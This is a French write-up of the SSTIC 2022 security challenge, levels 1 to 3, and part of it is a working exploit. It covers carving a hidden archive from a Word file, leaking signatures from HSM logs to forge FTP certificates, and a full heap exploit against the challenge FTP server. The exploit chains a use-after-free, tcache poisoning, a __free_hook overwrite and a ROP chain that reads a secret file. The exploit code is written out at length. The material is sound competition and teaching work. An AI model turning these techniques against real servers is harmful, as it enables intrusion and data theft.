Version | Date | Commentaire |
---|---|---|
1.0.0 | 18/05/2022 | Première version |
1.0.1 | 31/05/2022 | Ajout de schéma de heap pour l'étape 3 et correction de la section "obtenir une exécution de code arbitraire" |
Introduction
Comme chaque année l’équipe d’organisation du SSTIC1 (Symposium sur la sécurité des technologies de l’information et des communications) propose un challenge sur le thème de la sécurité informatique. Cette année le challenge est découpé en 6 étapes, voici ci-dessous l’énoncé :
Nous avons intercepté un message caché de l'Organisation. Nous la supposons
responsable de nombreux méfaits, mais nous n'avons jamais pu rassembler
suffisamment de preuves pour être pris au sérieux.
Heureusement, nous sommes sur le point de mettre à jour leurs secrets. Une de
nos sources a découvert qu'ils s'échangeaient des informations camouflées dans
des fichiers sur des forums. Notre source a pu identifier un document secret sur
un forum de cuisine mais n'a pas pu nous en dire plus sans compromettre sa
position.
Malheureusement, aucun de nos experts n'a réussi à extraire les informations
sensibles cachées dans celui-ci.
Votre mission est, si vous l'acceptez, de récupérer le contenu de ce fichier
secret, et d'en découvrir le plus possible sur l'Organisation afin d'exposer
leurs activités.
Le challenge consiste à récupérer l’adresse mail de validation (de la forme xxx@sstic.org) depuis le serveur de l’Organisation.
Niveau 1
Le document mentionné dans l’énoncé est un fichier Word contenant une recette de cuisine. Jusque-là rien de suspect hormis sa taille anormalement grande (~5Mo). L’outil binwalk a trouvé des données compressées à l’intérieur du document, mais malheureusement lorsqu’on extrait l’archive celle-ci est corrompue.
$ binwalk Recette.doc
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1991168 0x1E6200 gzip compressed data, from Unix, last modified: 1970-01-01 00:00:00 (null date)
L’outil 7z est capable de parser les fichiers Word, mais aucune trace de l’archive. Lorsqu’on regarde toutes les tailles des objets contenus dans le fichier on est loin des 5Mo.
Pour extraire l’archive il faut se plonger dans la specification du format utilisé par Word soit Compound File Binary Format2.
Un compound file est composé de “storage objects” et de “stream objects” qui sont comparables à des répertoires et des fichiers. Dans notre cas on a un répertoire racine et 7 stream objects. Le fichier est découpé en secteurs de 512 octets et contient une FAT (File Allocation Table). La FAT est un tableau d’entier de 32 bits qui permet de savoir si un secteur est libre ou non.
L’entête du fichier word est située sur le premier secteur. Elle contient un tableau d’entiers de 32 bits nommé DIFAT. Ce tableau contient les numéros des secteurs qui composent la FAT. La première étape consiste à reconstituer la FAT.
Les “stream objects” sont décrits dans la FAT par une liste chainée. Un index sur la FAT représente le numéro de secteur et la valeur correspond au prochain secteur utilisé. Il existe quelques valeures spéciales :
- 0xFFFFFFFF indique un secteur libre
- 0xFFFFFFFE indique une fin de liste chainée
- 0xFFFFFFFD indique que le secteur est utilisé pour la FAT
Le schéma ci-dessus présente un fichier stocké dans le Compound File débutant sur le secteur #1 et stocké sur 3 secteurs.
Grâce a binwalk on sait que le début de l’archive commence à 0x1E6200 soit au secteur n°3888 ( 0x1E6200/0x200 - 1). Sur l’entrée 3888 de la FAT on trouve le prochain secteur 10791, puis 6775, etc … On automatise l’extraction avec un script python présenté ci-dessous :
import ctypes
import argparse
from pwn import *
class HEADER(ctypes.LittleEndianStructure):
_fields_ = [
("Signature",ctypes.c_uint8 * 8),
("CLSID",ctypes.c_uint8 * 16),
("MinorVersion",ctypes.c_uint16),
("MajorVersion",ctypes.c_uint16),
("ByteOrder",ctypes.c_uint16),
("SectorShift",ctypes.c_uint16),
("MiniSectorShift",ctypes.c_uint16),
("Reserved",ctypes.c_uint8 * 6),
("NumberOfDirectorySectors",ctypes.c_uint32),
("NumberOfFATSectors",ctypes.c_uint32),
("FirstDirectorySectorLocation",ctypes.c_uint32),
("TransactionSignatureNumber",ctypes.c_uint32),
("MiniStreamCutOffSize",ctypes.c_uint32),
("FirstMiniFATSectorLocation",ctypes.c_uint32),
("NumberOfMiniFATSectors",ctypes.c_uint32),
("FirstDIFATSectorLocation",ctypes.c_uint32),
("NumberOfDIFATSectors",ctypes.c_uint32),
("DIFAT",ctypes.c_uint32 * 109)
]
def extract(path,output_path,offset):
with open(path,"rb") as f:
# Extract FAT
header = HEADER.from_buffer_copy(f.read(ctypes.sizeof(HEADER)))
fat = []
for i in range(0,109):
if header.DIFAT[i] != 0xFFFFFFFF:
sector_offset = (header.DIFAT[i] + 1) * 512
f.seek(sector_offset)
data = f.read(512)
for k in range(0,len(data),4):
fat.append(u32(data[k:k+4]))
# Extract file
with open(output_path,"wb") as fout:
linked_list = []
fat_index = int(offset/512)-1
linked_list.append(fat_index)
f.seek( (fat_index + 1)*512 )
fout.write(f.read(512))
while fat_index < 0xFFFFFFFC and fat_index < len(fat):
fat_index = fat[fat_index]
if fat_index in linked_list:
break
linked_list.append(fat_index)
f.seek( (fat_index + 1)*512 )
fout.write(f.read(512))
if __name__=='__main__':
parser = argparse.ArgumentParser(description="extract hidden file from FAT in .doc")
parser.add_argument('input',type=str,help='doc file')
parser.add_argument('output',type=str,help='output file')
parser.add_argument('offset',type=str,help='hidden file begin')
args = parser.parse_args()
args.offset = int(args.offset,16)
extract(args.input,args.output,args.offset)
On obtient une archive contenant un dossier release
. Le fichier e4r7h.txt
a des informations qui serons utiles pour la prochaine étape :
Il s'agit d'un serveur FTP, qui aura à terme les capacités suivantes :
- Stockage de fichiers anonyme
- Compression custom de données
- Le tout hébergé sur un système de fichier custom
Pour le moment, seul le serveur FTP est pleinement opérationnel, les autres fonctionnalités sont en cours de test,
vous pouvez accéder à mon instance de test sur 62.210.131.87 pour y jeter un oeil.
L'utilisateur "anon" a un accès libre aux dossier public, mais ce n'est qu'une façade : Une fois toutes les fonctionnalités
implémentées, il sera possible de se connecter via un utilisateur secret, afin d'accéder aux données hautement classifiées
de notre organisation.
Ce système est extrêmement sécurisé, et son implémentation entièrement faite maison permettra à nos opérations de rester secrètes.
Vous pouvez monter votre propre instance du serveur à des fins de test. A terme, il s'agira votre principal moyen
de communication avec les autres membres de l'organisation.
Je vous tiendrai au courant de la finalisation du développement dans les prochaines semaines.
Cordialement,
Grand Gourou Skippy
SSTIC{47962828593d98d0d7392590529c4014}
Niveau 2
Découverte du système
A l’étape précédente nous avons récupéré plusieurs fichiers :
- bzImage : un kernel linux
- chall.hex : un firmware d’arduino au format Intel HEX
- e4r7h.txt : les notes
- initramfs.img : un système de fichiers
- Makefile : permet de cloner, build, et lancer l’outil simavr qui émule une arduino
- simavr.patch : un patch pour simavr
- start_vm.sh : un script permettant de lancer un système Linux via Qemu
Tout cela constitue un système que l’on va devoir étudier. Nous avons un système Linux connecté via un port série à une arduino qui fait office de HSM3 (Hardware Security Module).
7z permet de naviguer dans le système de fichiers racine initramfs.img
, on trouve les binaires suivants :
/home/sstic/server
: un serveur FTP4 exposé sur le port 31337. Ce binaire s’appuie sur les fonctions du HSM pour vérifier des signatures et authentifier certains pointeurs de fonction et les adresses de retour./bin/mounter_server
: un service lancé en root, il permet de monter/démonter le système de fichiersgoodfs
. Les commandes envoyées à mounter_server sont protégées par un mot de passe stocké dans le HSM./bin/mounter_client
: un binaire utilitaire qui dialogue avecmounter_server
via une mémoire partagée.goodfs.ko
: un driver kernel qui implémente les opérations du système de fichiersgoodfs
Le schéma suivant résume l’architecture du système :
Dans le dossier /home/sstic
de l’environnement de test on trouve un indice info.txt
qui nous oriente pour la suite :
J'ai installé un module de sécurité hardware pour sécuriser le serveur FTP !
En rajoutant de la crypto pour signer toutes sortes de données, on a un serveur
en béton :)
TODO : Penser à faire vérifier la crypto
Mécanisme d’authentification
Au vu de l’indice on va s’intéresser au fonctionnement du HSM. Comme on peut le voir dans le fichier Makefile
présenté ci-dessous, le HSM semble fonctionner avec deux clés K1 et K2.
simavr permet d’émuler l’arduino et son firmware chall.hex
.
GOODFS_PASSWD=goodfspassword K1=123 K2=456 ./simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf ./chall.hex
Du coté du serveur FTP, les commandes USER
et PASS
permettent de s’authentifier en tant que l’utilisateur anon
ou anonymous
sans mot de passe.
Le serveur maintient une structure user_t
pour l’utilisateur au format suivant :
typedef struct _user {
uint8_t isLogged;
uint8_t padding[7];
uint64_t perms; // permissions
uint8_t username[16];
uint64_t user_sig; // signature calculée par le HSM
callback_computeSig computeSigUser; // pointeur (signé par le HSM) pour calculer la signature
}user_t;
Le serveur calcule une signature user_sig
(en s’appuyant sur le HSM), à partir du premier octet du champ perms
suivi des 7 premiers octets du username
ce qui compose un nombre sur 64 bits.
Pour les utilisateurs anon ou anonymous le champ perms
est mis à 1.
La signature user_sig
est vérifiée à chaque fois que l’on envoie une commande dans la fonction canExecCmdFTPServer
.
Un utilisateur non authentifié peut exécuter les commandes USER
, PASS
, QUIT
et CERT
.
Tandis qu’un utilisateur authentifié peut exécuter les commandes supplémentaires TYPE
, PWD
, PASV
,PORT
, LIST
, RETR
, FEAT
, DBG
.
Parmi les fichiers que l’on aimerait bien récupérer sur le serveur distant il y a le fichier /home/sstic/secret.txt
.
Malheureusement celui-ci n’est accessible qu’aux utilisateurs avec des perms
aux moins égales à 2.
Mécanisme de certificat
Le serveur FTP propose une deuxième méthode d’authentification avec la commande non conventionnelle CERT
. Celle-ci prend en paramètre une chaine ayant la forme suivante “user=monusername&perms=2&sig=????????" et encodée en base64.
La fonction handleCertFTPServer
effectue une signature sur les données avant le champ "&sig=" et construit une structure cert_t
(décrite ci-dessous) si la signature du certificat est valide.
typedef struct _cert{
uint8_t isLogged;
uint8_t padding[7];
uint64_t perms; // permissions
uint8_t* username;
uint64_t cert_sig; // signature final calculée par le HSM
callback_computeSig computeSigCert; // pointeur (signé par le HSM) pour calculer la signature
callback_destructor destructorCert; // pointeur (signé par le HSM) vers la fonction de destruction du certificat, libère la zone username
} cert_t;
Le calcul de la signature sur les données du certificat et le calcul des signatures user_sig
ou cert_sig
s’appuie sur la même fonction implémenté dans le HSM.
Recherche de vulnérabilités
On comprend rapidement que le problème du niveau 2 consiste à forger un certificat avec une signature valide. Cependant il faut avoir un minimum d’information pour construire une attaque crypto. On se lance donc dans une recherche de vulnérabilité pour faire fuiter le résultat du calcul effectué par le HSM.
Le handler de la commande USER
contient plusieurs faiblesses,
- la structure
user_t
est réutilisée sans que ses membres soient remis à zéro - le nom de l’utilisateur est recopié dans le membre
username
de la structureuser_t
mais aucun octet nul indique la fin de la chaine.
Combinée avec la commande DBG
qui active les logs du serveur FTP cette vulnérabilité permet faire fuiter le champ user_sig
calculé pour les utilisateurs anon ou anonymous.
Le plan est donc le suivant :
- on s’authentifie avec l’utilisateur anonymous ce qui a pour effet de remplir le champ
user_sig
- on active le mode debug via la commande
DBG
- on tente de s’authentifier avec un nom d’utilisateur de 16 caractères, l’authentification échoue mais le nom d’utilisateur et le champ
user_sig
sont écrits dans le fichier de log - on répète l’opération pour l’utilisateur anon
- pour terminer on télécharge le fichier de log avec la commande
RETR
ftp = FTP(ip,port)
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
ftp.cmd_dbg()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
p1,p2 = ftp.cmd_getpasv()
log = ftp.cmd_retr(b"ftp.log")
first_leak = log.index(b"User "+b"A"*15+b"=") + 21
second_leak = log.rindex(b"User "+b"A"*15+b"=") + 21
sig1 = u64(log[first_leak:first_leak + 8])
sig2 = u64(log[second_leak:second_leak + 8])
print("signature 1 : %016.16x" % sig1)
print("signature 2 : %016.16x" % sig2)
Analyse de la cryptographie
Après retro-ingénierie du firmware de l’arduino, on reconstitue l’algorithme de signature qui prend en entrée 2 entiers de 64 bits (V1,V2) et ressort un entier de 64 bits (X).
Dans les faits la fonction computeSigUser
qui calcule le champ user_sig
fixe V2 à zéro.
Le calcul dépend aussi des clés K1 et K2 fixées au démarrage du HSM. Les signatures que l’on récupère sont différentes à chaque connexion, ce qui indique que K1 et K2 sont probablement générés aléatoirement.
Voici ci-dessous une première implémentation des opérations effectuées par le firmware du HSM.
import sys
from pwn import *
def F1(A,B):
result = 0
while A != 0 and B != 0:
if (A & 1) != 0:
result = result ^ B
if (B & 0x8000000000000000) == 0:
B = (B << 1) & 0xFFFFFFFFFFFFFFFF
else:
B = ((B << 1) & 0xFFFFFFFFFFFFFFFF) ^ 0x0247F43CB7
A = (A >> 1) & 0xFFFFFFFFFFFFFFFF
return result
K1 = int(sys.argv[1],16)
K2 = int(sys.argv[2],16)
def sign(V1,V2):
X = F1(K1,V1)
X = V2 ^ X
X = F1(K1,X)
X = X ^ K2
X = F1(K1,X)
return X
s = sign(u64("anonymo\x01"),0)
Comme on peut le voir il est facile d’inverser l’opération XOR mais l’opération F1 demeure complexe.
En réalité, l’opération F1 correspond à une multiplication de A et B dans GF(264) modulo le polynôme 0x0247F43CB7 soit : x0 + x1 + x2 + x4 + x5 + x7 + x10 + x11 + x12 + x13 + x18 + x20 + x21 + x22 + x23 + x24 + x25 + x26 + x30 + x33 + x64
Cela simplifie beaucoup les choses puisqu’on se retrouve avec 2 équations à 2 inconnues K1,K2 :
- ((( K1 * c1 ) + 0) * K1 ) + K2 ) * K1 = ( K12 * c1 + K2 ) * K1 = S1
- ((( K1 * c2 ) + 0) * K1 ) + K2 ) * K1 = ( K12 * c2 + K2 ) * K1 = S2
c1 et c2 sont les constantes d’entrées pour les utilisateurs anon et anonymous. S1 et S2 sont les signatures récupérées grâce a la vulnérabilité trouvée précédement.
On commence par isoler K1 ce qui nous donne l’équation suivante à résoudre :
- K13 = ( S1 - S2 ) / ( c1 - c2 )
Ensuite il ne reste plus qu’à injecter la ou les solutions trouvées et résoudre :
- K2 = (S2 / K1) - (c2 * K12)
Heureusement sage permet d’automatiser tout ça. Une fois K1 et K2 retrouvée on peut calculer la signature de n’importe quel certificat.
Ci-dessus un extrait du script d’exploitation.
from pwn import *
from sage.all import *
import logging
import coloredlogs
logger = logging.getLogger('default')
logger.setLevel(logging.DEBUG)
coloredlogs.install(level='DEBUG', logger=logger,fmt='%(levelname)s %(message)s')
x = var('x')
class HSM:
def __init__(self):
modulus = x**0 + x**1 + x**2 + x**4 + x**5 + x**7 + x**10 + x**11 + x**12 + x**13 + x**18 + x**20 + x**21 + x**22 + x**23 + x**24 + x**25 + x**26 + x**30 + x**33 + x**64
self.k = GF(2**64,name='x',modulus=modulus)
def find_keys(self,plaintextA,plaintextB,signA,signB):
msgA_gf = self.k._cache.fetch_int(Integer(plaintextA))
msgB_gf = self.k._cache.fetch_int(Integer(plaintextB))
sigA_gf = self.k._cache.fetch_int(Integer(signA))
sigB_gf = self.k._cache.fetch_int(Integer(signB))
K0s_gf = ((sigA_gf - sigB_gf) / (msgA_gf - msgB_gf)).nth_root(3,all=True)
solutions = []
for K0_gf in K0s_gf:
K1_gf = (sigB_gf / K0_gf) - (msgB_gf * (K0_gf * K0_gf))
K0 = int(str(''.join(map(str,K0_gf.polynomial())))[::-1],2)
K1 = int(str(''.join(map(str,K1_gf.polynomial())))[::-1],2)
solutions.append( (K0, K1))
return solutions
def set_keys(self,K0,K1):
self.K0_gf = self.k._cache.fetch_int(Integer(K0))
self.K1_gf = self.k._cache.fetch_int(Integer(K1))
def sign_u64(self,v1,v2):
v1_gf = self.k._cache.fetch_int(Integer(v1))
v2_gf = self.k._cache.fetch_int(Integer(v2))
X_gf = self.K0_gf * v1_gf
X_gf = v2_gf + X_gf
X_gf = self.K0_gf * X_gf
X_gf = X_gf + self.K1_gf
X_gf = self.K0_gf * X_gf
return int(str(''.join(map(str,X_gf.polynomial())))[::-1],2)
def sign_data(self,plaintext):
sign = 0
for i in range(0,len(plaintext),8):
value = u64(plaintext[i:i+8])
sign = self.sign_u64(value,sign)
return sign
class FTP:
[...]
ip = sys.argv[1]
ftp = FTP(ip)
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
ftp.cmd_dbg()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
ftp.cmd_user(b"A"*15+b"=")
ftp.cmd_user(b"anon")
ftp.cmd_pass()
log = ftp.cmd_retr(b"ftp.log")
first_leak = log.index(b"User "+b"A"*15+b"=") + 21
second_leak = log.rindex(b"User "+b"A"*15+b"=") + 21
s1 = u64(log[first_leak:first_leak + 8])
s2 = u64(log[second_leak:second_leak + 8])
print("signature 1 : %016.16x" % s1)
print("signature 2 : %016.16x" % s2)
hsm = HSM()
c1 = 0x6f6d796e6f6e6101 # \x01anonymo
c2 = 0x6e6f6e6101 # \x01anon\0\0\0
keys = hsm.find_keys(c1,c2,s1,s2)
for couple_key in keys:
hsm.set_keys(couple_key[0],couple_key[1])
signature = hsm.sign_data(b"user=a&perms=2\0\0")
certificate = b"user=a&perms=2\n\n&sig=%d" % signature
if ftp.cmd_cert(certificate):
logger.info("KEY FOUND")
break
data = ftp.cmd_retr(b"secret.txt")
with open("secret.txt","wb") as f:
f.write(data)
ftp.close()
Avec les permissions adaptées, on obtient le contenu du fichier secret.txt
:
Grand Gourou Skippy,
J'ai eu accès à des informations de la plus haute importance concernant la
topologie terrestre.
Je vais retourner au bord pour continuer d'étudier notre magnifique plateau.
En attendant, gardez un oeil sur les sceptiques qui commencent à découvrir la
vérité. Nous n'avons pas fini la construction de notre barrière et des gens
pourraient tomber, ce qui révèlerait la véritable forme de notre foyer.
Platement,
Frère Bob
SSTIC{717ff143aa035b4da1cdb417b7f003f3}
Niveau 3
Dans le répertoire courant du serveur FTP il y’a un dossier sensitive
qui comme son nom l’indique contient des informations sensibles.
Il n’y a pas de chemin direct pour obtenir le contenu du dossier car le serveur FTP ne supporte pas la commande CWD
et les /
sont interdits dans les chemins de fichier.
Nous n’avons donc pas le choix il faut exploiter une ou plusieurs vulnérabilités dans le serveur FTP.
Dans l’étape précédente, nous avons vu comment créer des certificats valides qui sont traités par la commande CERT
, je vais donc commencer ma recherche par là.
Préparer l’environnement de debug
Tout d’abord il est agréable de pouvoir débugger le programme lorsqu’on essaye de l’exploiter. On récupère la libc.so
dans l'initramfs
.
Puis avec l’outil pwninit on patche le binaire pour le lier avec la libc de l’environnement de test.
Pour finir on lance l’emulateur et le binaire patché en précisant le bon chemin pour l’UART.
$ ./pwninit --bin server --ld lib/ld-linux-x86-64.so.2 --libc lib/libc.so.6
$ GOODFS_PASSWD=goodfspassword K1=123 K2=456 ./simavr/examples/board_simduino/obj-x86_64-linux-gnu/simduino.elf ./chall.hex &
$ HSM_DEVICE=/tmp/simavr-uart0 P1=130 P2=64 ./server_patched
On peut désormais s’attacher au programme avec notre debugger favori.
Les vulnérabilités
Il y a un premier bug dans la fonction handleCertFTPServer
lorsqu’un utilisateur envoie à nouveau une commande CERT
alors qu’il s’est déjà authentifié avec cette même commande.
Lors de la première commande CERT
le programme alloue un chunk pour le nom d’utilisateur.
Lors de la deuxième commande CERT
le programme réutilise la même zone mémoire seulement si l’ancien nom d’utilisateur est plus petit ou égal au nom d’utilisateur actuel.
Le nom d’utilisateur est recopié dans cette zone dont la taille dépend de la taille de l’ancien nom d’utilisateur. Si le nouveau nom est plus grand que l’ancien il y a heap buffer overflow.
Dans cette même fonction, il y a une deuxième vulnérabilité. Dans le cas où le certificat n’est pas valide celui-ci libère la zone pointée par la variable username.
Cependant, si l’utilisateur s’était déjà authentifié avec la commande CERT
, la fonction libère la zone pointée par le membre username
de la structure actuelle cert_t
.
Lorsque l’utilisateur effectue à nouveau une commande, la structure cert_t
est utilisée alors que le membre username
pointe sur une zone libre, c’est une vulnérabilité de type UAF (Use After Free)
Exploitation
Le binaire étant compilé en PIE5 (Position Independent Executable) et l’ASLR6 (Adresse Space Layout Randomization) étant activée sur le système il va nous falloir quelques leak si l’on veut être confort pour l’exploitation. En plus des mitigations habituelles le binaire n’autorise que certains syscall via des règles seccomp7.
Fuite d’adresse de heap
La première étape de l’exploit consiste à faire fuiter une adresse de heap dans les logs. Pour cela, on abuse du mécanisme tcache8 de la libc.
Le tcache est une structure placée en début de heap par la libc, elle contient des listes chainées comme les fastbins9 sauf que le pointeur fd
pointe sur la zone de données du chunk.
Dans un premier temps on s’authentifie avec un certificat valide. C’est un prérequis pour pouvoir déclencher la vulnérabilité UAF.
On envoie un certificat invalide, ce qui a pour effet de libérer le chunk username
. Lors de l’appel à free, la libc met à jour le champ fd
soit les 8 premiers octets du chunk avec l’adresse du prochain chunk libre.
Ensuite on envoie une commande FEAT
, le serveur FTP log alors le nom d’utilisateur (soit l’adresse d’un chunk libre).
A cette étape on ne peut pas utiliser la commande RETR
car le champ cert_sig
contient une signature invalide puisque le nom d’utilisateur a changé. Il faut donc se réauthentifier pour pouvoir récupérer le fichier de log.
L’authentification via la commande USER
appelle le destructeur du certificat qui free à nouveau la zone username. Ce double free est détecté par la libc qui abort le programme.
J’utilise à nouveau la commande CERT
avec un nom d’utilisateur plus petit que 8 octets (les adresses ont souvent des octets de poids fort à zéro ce qui constitue une chaine de moins de 8 octets), cela déclenche un realloc sur le membre username
du certificat. La libc ne détecte pas le double free lors du realloc car le chunk n’as pas besoin d’être agrandi. realloc retourne donc un pointeur sur la même zone mémoire qu’avant.
Cependant cette zone est toujours considérée comme un chunk libre.
Le programme recréé le certificat à la même adresse (la structure est libérée et allouée de nouveau dans la foulée) et recalcule cert_sig
.
Une fois authentifié on envoie la commande PASV
ce qui déclenche une allocation de structure passiv_conn_t
.
typedef struct _passiv_conn{
uint32_t p1; // octet de poid fort du port d'écoute de la socket
uint32_t p2; // octet de poid faible du port d'écoute de la socket
uint32_t sockfd;
uint32_t field_C;
callback_destructor destructorPasvConn;
}passiv_conn_t;
Cette structure se retrouve allouée sur la zone username
, donc pour que le champ cert_sig
soit valide après l’exécution de la commande PASV
il faut utiliser un nom d’utilisateur de 1 octets de valeur “\x82” (octets de poids fort du port d’écoute pour le transfert) lors de la précédente commande CERT
.
Ensuite on peut utiliser la commande RETR
pour récupérer le fichier de log ftp.log
.
Pour résumer on effectue les commandes suivantes :
- CERT : authentification avec un certficat
- CERT : authentification avec un certificat invalide, le nom d’utilisateur contient une adresse de heap
- FEAT : fait fuiter l’adresse de heap dans le fichier
ftp.log
- CERT : authentification avec un certificat valide, dont le nom d’utilisateur vaut b”\x82" (qui se feras écraser par une structure
passiv_conn_t
lors de la prochaine commande) - PASV : passe le serveur FTP en mode passif pour le transfert de fichier
- RETR : on demande le fichier
ftp.log
Le schéma suivant résume les opérations en heap :
Ci-dessous un extrait du code qui leak une adresse de heap :
# search valid keys for sign
for couple_key in keys:
hsm.set_keys(couple_key[0],couple_key[1])
signature = hsm.sign_data(b"user=x&perms=2")
certificate = b"user=x&perms=2&sig=%d" % signature
if ftp.cmd_cert(certificate):
logger.info("KEY FOUND")
break
# free chunk A
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % 0)
ftp.p.sendline(b"FEAT\n")
logger.debug(ftp.p.recvline().decode('ascii'))
low_pasv_port = 130
# realloc chunkA
signature = hsm.sign_data(b"user="+ bytes([low_pasv_port]) +b"&perms=2")
certificate = b"user="+ bytes([low_pasv_port]) +b"&perms=2&sig=%d" % signature
ftp.cmd_cert(certificate)
# search leak in log file
heap_leak = 0
log = ftp.cmd_retr(b"ftp.log")
if log is not None:
for line in log.split(b"\n"):
if b"FEAT" in line:
leak = line.split(b":")[0]
leak = leak.replace(b"User ",b"").replace(b" ",b"")
heap_leak = u64z(leak)
break
heap_cert = heap_leak + 0x2350 + 0x10
heap_server = heap_leak + 0x20
logger.info("heap : %x" % heap_leak)
logger.info("cert : %x" % heap_cert)
logger.info("server : %x" % heap_server)
heap_libc_leak = heap_leak + 0x21d0
A partir de cette adresse de heap on peut en déduire les adresses des différents chunks alloués, notamment l’adresse du certificat en heap.
Fuite d’adresse de libc
La deuxième étape de l’exploit consiste à faire pointer le membre username
sur un chunk qui contient une adresse de la libc.
Le chunk à l’adresse heap_leak + 0x21d0 semble être un bon candidat.
Ensuite on peut leak le pointeur de la même manière que celui de la heap dans le fichier de log.
Pour cela on va ré-exploiter le tcache avec la suite de commande suivantes :
- CERT : on change le pointeur
fd
de notre chunkusername
libre pour qu’il pointe au milieu de la structurecert_t
sur le membreusername
grâce à la première vulnérabilité. - PASV : on alloue un chunk grâce à la commande
PASV
ce qui place le pointeurfd
corrompu dans le tcache. - USER : on s’authentifie avec la commande
USER
, cela est un prérequis pour pouvoir déclencher plusieurs allocation lors de la prochaine commandeCERT
. - CERT : déclenche deux allocations grâce à un certificat avec deux "&user=". La première allocation écrase la structure
passiv_conn_t
, le premier nom d’uilisateur et construit de sorte à préserver le descripteur de socket de la structurepassiv_conn_t
. Le deuxième appel à malloc retourne un pointeur sur le champusername
de la structurecert_t
. - CERT : Avec la première vulnérabilité on modifie le nom d’utilisateur, ce qui change le pointeur
username
de la structurecert_t
. De plus la signaturecert_sig
est calculée après la modification du pointeur, on est authentifié correctement. - FEAT :
username
pointe désormais sur le chunk contenant une adresse de libc, on leak son contenu via la commandeFEAT
- RETR : On récupère le fichier
ftp.log
- USER : Cela a pour effet de libérer le chunk de 0x70 déjà libre, la libc ne detecte pas le double free car celui-ci n’est pas dans le tcache mais dans les unsorted bins.
Le schéma suivant résume les opérations sur la heap :
Ci-dessous un extrait du code d’exploitation concernant le leak de la libc :
# corrupt tcache linked list
payload = p64(heap_cert)[0:7]
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)
# poisoning tcache
conn = ftp.cmd_pasv()
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
# allocate 2 chunks
payload = b"xxxxxxxx"+p64(7)[0:7] # keep member sock of passiv_conn_t
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d&user=xxxxxxx" % signature)
# username chunk override certificate chunk
# make username points to chunk with libc address
payload = p64(heap_libc_leak)[0:8]
signature = hsm.sign_data(b"user="+payload+b"&perms=2")
ftp.cmd_cert(b"user="+payload.replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)
# leak libc address in log
ftp.cmd_feat()
ftp.p.sendline(b"RETR ftp.log")
logger.debug(ftp.p.recvline().decode('ascii'))
log = conn.recvall()
logger.debug(ftp.p.recvline().decode('ascii'))
print(log)
lines = log.split(b"\n")
leak = lines[len(lines) - 1].split(b":")[0]
leak = leak.replace(b"User ",b"").replace(b" ",b"").replace(b"\n",b"")
libc_leak = u64z(leak[0:8])
libc_base = libc_leak - 0x1ecc40
libc_free_hook = libc_base + 0x1eee48
print("libc_leak = %x" % libc_leak)
print("libc_base = %x" % libc_base)
print("libc_free_hook = %x" % libc_free_hook)
Obtenir une exécution de code “arbitraire”
L’adresse de libc obtenue précédemment nous permet de retrouver __free_hook. C’est un pointeur de fonction dans la section .data de la libc qui est appelée lorsqu’on libère un chunk via la fonction free. On utilise la même technique avec le tcache pour allouer notre nom d’utilisateur sur __free_hook.
- CERT : on s’authentifie avec un certificat
- CERT : on s’authentifie avec un certificat invalide, ce qui déclenche l’UAF
- CERT : on modifie le pointeur fd, de sorte à ce qu’il pointe sur __free_hook
- PASV : nécessaire pour s’authentifier avec la commande
USER
à la prochaine étape - USER : nécessaire pour déclencher deux allocations lors de la prochaine commmande
CERT
- CERT : avec 2 noms d’utilisateur dans le certificat on déclenche 2 allocations. Le deuxième malloc retourne l’adresse de __free_hook
Le schéma suivant résume les opérations sur la heap :
La fonction handleCertFTPServer
recopie le certificat décodé dans une variable locale (donc en stack). C’est un emplacement idéal pour mettre une ropchain.
La fonction handleCertFTPServer
se termine en appelant free, il suffit d’effectuer un pivot, c’est à dire décaler le pointeur de stack RSP sur la variable locale qui contient notre ropchain.
Pour cela je remplace le pointeur __free_hook par un gadget trouvé dans la libc : pop rbp ; pop r12 ; pop r14 ; ret
La première ropchain en charge une deuxième a une adresse fixe, ce qui est plus pratique pour placer des constantes telles qu’un nom de fichier.
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
signature = hsm.sign_data(b"user=x&perms=2")
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % signature)
# trig UAF
ftp.cmd_cert(b"user=x&perms=2&sig=%d" % 0)
# corrupt tcache linked list
signature = hsm.sign_data(b"user="+p64(libc_free_hook)+b"&perms=2")
ftp.cmd_cert(b"user="+p64(libc_free_hook).replace(b"\0",b"\n")+b"&perms=2&sig=%d" % signature)
# poisoning tcache
conn = ftp.cmd_pasv()
ftp.cmd_user(b"anonymous")
ftp.cmd_pass()
# compute usefull gadget for ropchain
pivot = libc_base + 0x000000000008e25f # pop rbp ; pop r12 ; pop r14 ; ret
ret = libc_base + 0x0000000000022679 # ret
[...]
stage2 = p64(ret) * 16
stage2+= call_open(0x800000000+0x278,0,0)
stage2+= call_mmap(0x800004000,668,1,2,8,0)
stage2+= call_write(5,0x800004000,668) # multiple send on socket
stage2+= call_write(5,0x800004000,668)
stage2+= call_write(5,0x800004000,668)
stage2+= call_write(5,0x800004000,668)
stage2+= call_close(5)
logger.info("name offset = 0x%x" % len(stage2))
stage2+= b"sensitive/m00n.txt\0"
ropchain = call_mmap(0x800000000,0x4000,0x3,0x22,0xFFFFFFFFFFFFFFFF,0)
ropchain+= call_read(5,0x800000000,len(stage2))
ropchain+= p64(pop_rsp)
ropchain+= p64(0x800000000)
logger.info("PIVOT = %x" % pivot)
logger.info("POP RSP = %x" % pop_rsp)
# alloc / alloc
signature = hsm.sign_data(b"user=x&perms=2&x"+ropchain)
ftp.cmd_cert( (b"user=x&perms=2&x"+ropchain.replace(b"\0",b"\n")+b"&sig=%d" % signature) + b"&user=" +p64(pivot),exploit=True)
ftp.p.sendline(stage2)
data = ftp.p.recvall()
f = open("m00n.txt","wb")
f.write(data)
f.close()
ftp.p.close()
